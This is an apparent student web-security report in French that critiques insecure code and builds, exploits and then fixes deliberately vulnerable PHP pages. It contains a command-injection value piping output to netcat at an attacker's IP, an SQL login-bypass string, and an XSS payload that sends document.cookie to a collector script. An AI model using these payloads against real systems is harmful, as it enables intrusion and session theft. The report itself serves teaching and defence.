



**IMT Atlantique**

Bretagne-Pays de la Loire  
École Mines-Télécom

## **Projet Sécurité WEB**

**Écrit par :**

**El MALKI Hatim,  
RAJHI Mohamed,**

**A l'attention des encadrants :**

**M. Olivier Barais  
M. Alberto Blanc**

**3 avril 2020**

## 1 Exercice 1

Dans la fonction **secure\_store** le IV (vecteur initial) est fixe. Au cas où la requête ou le texte crypté est intercepté par un tiers, l'attaquant peut exploiter l'IV pour exécuter des attaques Brute-force. Le but de l'utilisation de l'IV est de rendre la cryptanalyse plus difficile, voire impossible, ainsi l'IV doit être aléatoire.

Dans la fonction **list\_secure\_data**, une commande linux est exécutée en injectant l'argument "path" de la fonction. Un attaquant peut exploiter cela en ajoutant du code après "path", par exemple :

**Path='/home | nc add\_ip\_de\_l'attaquant port'** et en même temps l'attaquant exécute l'adresse **nc** sur sa machine avec le même port que dans "path", ainsi l'attaquant aura un accès net cat au serveur.

L'autre faiblesse réside dans l'utilisation de DES (Data Encryption Standard) et de la fonction de hachage md5:

1. DES n'est plus d'actualité aujourd'hui, cela est dû à plusieurs raisons :
  - Les textes en clair sont en 64 bits, ce qui facilite une attaque brute-force.
  - DES utilise une clé de taille petite (56 bits) par rapport à d'autres algorithmes comme AES
  - La puissance des algorithmes de cryptographie réside dans le fait qu'il est difficile de remonter au texte en clair si un attaquant intercepte un état des données au cours de l'algorithme. Mais avec DES, cela n'est pas très assuré, car en passant d'un état au suivant : DES divise les données en deux parties et change uniquement une partie des deux en passant à l'état suivant.
  - Il aurait été mieux d'utiliser AES (Advanced Encryption Standard) où le texte clair peut-être codé sur 128, 192 ou 256 bits, et pareil pour la clé (128, 192 ou 256 bits).
2. Md5 est obsolète :
  - Depuis 1996, des collisions ont été découvertes ce qui rompt la fonction principale d'une fonction de hachage qui est de donner deux hachés différents pour deux entrées différentes.
  - Il aurait été plus judicieux d'utiliser les fonctions de hachage de la famille SHA-2, notamment SHA-256.

## 2 Exercice 2

### 2.1 Problématique

Dans ce rapport on va expliquer comment on a développé le site web qui contient deux vulnérabilités de type SQL Injection et Cross Site Scripting et comment on a exploité et corrigé ces failles.

Le site web contient deux pages, la première est une page de login et la deuxième est un formulaire.

### 2.2 SQL Injection

Le code dans la Figure 1 est celui de la page de login qui contient une vulnérabilité qu'on va exploiter avec des injection SQL.

Lien du fichier : `Projet_web_sec/login`

```

<?php
include("Config.php");
session_start();
$error="";

if(!empty($_POST['username']) && !empty($_POST['password']))
{
    $username = $_POST['username'];
    $password = $_POST['password'];

    $query = "SELECT id, email FROM users WHERE email = '". $username."' AND password = '". $password."'";
    $rs = mysqli_query($db, $query);

    if(mysqli_num_rows($rs) == 1)
    {
        $user = mysqli_fetch_assoc($rs);
        $_SESSION['login_user'] = $username;

        header("location: welcome.php");
    }
    else
    {
        $error = "Your Login Name or Password is invalid";
    }

    mysqli_free_result($rs);
    mysqli_close($db);
}

```

Activer Windows  
Accédez aux paramètres

Figure 1: Code Page Login

La première idée auquel on pense avec un code pareil est d'essayer de bypasser la partie de vérification de l'email et du password cela peut être fait avec un username comme : ' OR 1 -- la requête SQL devient **SELECT id, email FROM users WHERE email = ' OR 1 -- AND password = '**



Figure 2: Page du formulaire

Figure 3: Page Login

Et comme - est considéré comme la fin de la requête, tout ce qui suit ces caractères est ignoré. La vérification devient alors **email = " OR 1** qui est toujours vrai. Alors, on peut facilement bypasser la page de login. Dans la Figure 3, on a essayé de se connecter avec le username ' **OR 1 -**

Comme le montre la Figure 4, on a pu se connecter et accéder au formulaire malgré l'inexistence de ce username ' **OR 1 -** dans la base de données.

## 2.3 Correction de la vulnérabilité SQL Injection

Le code corrigé se trouve dans le dossier : `Projet_web_sec_secure`.

Ces deux lignes de code sont à l'origine de la vulnérabilité puisqu'il n'y a aucun contrôle. Ce sont les caractères spéciaux qui peuvent affecter la requête SQL.

Si nous souhaitons sécuriser ce code, il y a plusieurs façons de faire: On peut utiliser **l'échappement des chaînes de caractères**.

`mysqli_real_escape_string` va ajouter un anti-slash devant certains caractères comme par exemple ' ou " . Cela aura pour conséquence de faire du caractère un caractère neutre. Ce qui veut dire que si le caractère avait un comportement spécial, ce qui est le cas des guillemets (ouverture/fermeture de chaîne de caractère), et bien, après

```
$username = $_POST['username'];
$password = $_POST['password'];
```

Figure 4: Code SQL Vulnérable

```
$username = mysqli_real_escape_string($db, $_POST['username']);
$password = mysqli_real_escape_string($db, $_POST['password']);
```

Figure 5: Correction code Login

Figure 6: Tentative de Login

échappement, il sera considéré comme simple caractère et son comportement spécial aura disparu. On pourra alors introduire tous les ‘ ou ’ que l’on veut, aucun ne fermera la chaîne car tous seront ”échappés”.

Avec ces modifications , la même injection SQL ne fonctionne plus sur notre page de Login.


## 2.4 Cross site scripting

La page d’accueil contient une zone d’entrée de texte qui demande le nom.

Après avoir saisi le nom et appuyé sur la bouton Go , l’utilisateur va être redirigé vers une autre page qui affiche hello, concaténé avec le nom saisi dans la zone de texte.



Figure 7: Page d’accueil

A screenshot of a code editor with a dark background. It shows a PHP script with six lines of code. Line 1: <?php. Line 2: \$name=\$\_GET['query'];. Line 3: (empty). Line 4: echo "Hello, " . \$name; (Note: there is a space before the closing quote). Line 5: (empty). Line 6: ?>. The tabs at the top are 'Config.php', 'Projet\_web\_sec', 'welcome.php', and 'search.php'.

```
1 <?php
2 $name=$_GET['query'];
3
4 echo "Hello, " . $name;
5
6 ?>
```

Figure 8: Code affichage nom



Figure 9: Attaque XSS réussie

Le code de la page d’affichage du nom est dans la Figure 8. Comme on peut voir un tel code est vulnérable face à une attaque XSS.

Si on injecte `<script> alert("xss ijection succeeded ") </script>` on obtient ce résultat qui confirme que ce code est vulnérable au Cross Site Scripting.

Les failles XSS peuvent être exploitées de plusieurs façon. Par exemple, si le développeur du site web a créé un fichier qu’on va appeler `hackmee.php` pour récupérer l’adresse du serveur sur lequel le site est hébergé , avec l’injection de :

`<script>location.href="hackmee.php?data"+document.cookie</script>`

on peut exécuter le fichier `hackmee.php` et on peut aussi récupérer les cookies du site.

Après l’injection du code de la Figure 10, on obtient le résultat attendu (voir Figure 11).

A screenshot of a code editor with a dark background. It shows a PHP script with five lines of code. Line 1: \$data=\$\_GET['data']. " | {\$\_SERVER['REMOTE\_ADDR']}";. Line 2: file\_put\_contents('userdata.txt',\$data. PHP\_EOL ,. Line 3: FILE\_APPEND | LOCK\_EX);. Line 4: header("location: http://localhost/Projet\_web\_sec/welcome.php");. Line 5: ?>. The tabs at the top are 'Config.php', 'Projet\_web\_sec', 'welcome.php', and 'search.php'.

```
<?php
$data=$_GET['data']. " | {$_SERVER['REMOTE_ADDR']}";
file_put_contents('userdata.txt',$data. PHP_EOL ,
FILE_APPEND | LOCK_EX);
header("location: http://localhost/Projet_web_sec/
welcome.php")
?>
```

Figure 10: Code extraction de Cookies



Figure 11: Résultats

## 2.5 Correction du Cross Site Scripting

Pour corriger cette vulnérabilité, il faut utiliser la fonction **htmlspecialchars** (Figure 12) qui convertit les caractères spéciaux en entités HTML et évite que les injections XSS soient interprétées comme un code javascript à exécuter.

```
<?php
$name=htmlspecialchars($_GET['query'], ENT_QUOTES, '
    UTF-8');

echo "Hello, " . $name;

?>
```

Figure 12: Correction XSS